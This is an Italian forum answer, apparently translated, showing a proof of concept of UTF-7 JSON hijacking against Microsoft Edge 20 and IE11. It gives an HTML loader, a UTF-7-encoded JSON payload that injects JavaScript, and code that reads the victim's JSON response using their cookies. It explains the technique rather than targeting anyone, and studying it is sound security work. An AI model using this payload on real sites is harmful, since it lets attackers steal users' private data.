Suppongo che tu ti stia riferendo a questo commento , "Microsofts IE e Edge sono comunque vulnerabili all'UTF-7 JSON Hijacking."
Seguendo le istruzioni di questo post del blog 2011 su JSON Hijacking , ho riprodotto il problema con Microsoft Edge 20 e IE11.
Crea un file HTML come questo:
<html>
<body>
<script src="x.json" charset="UTF-7"></script>
E un file x.json
come questo:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
Nella codifica UTF-7, che apparentemente decodifica in:
[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]
E poi, dato il potere di eseguire JavaScript nel contesto della risposta, puoi scrivere altro / altro codice malvagio, ad es. codice per leggere il resto della risposta. Ad esempio:
[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];
Leggi il post del blog per ulteriori dettagli sulle implicazioni di questo, ma l'idea è che tu avresti un utente per aprire una pagina sul tuo sito, fare questa richiesta di script (che userebbe le credenziali del cookie della vittima), e poi JSON dirottarlo per leggere un elenco parziale degli amici dell'utente.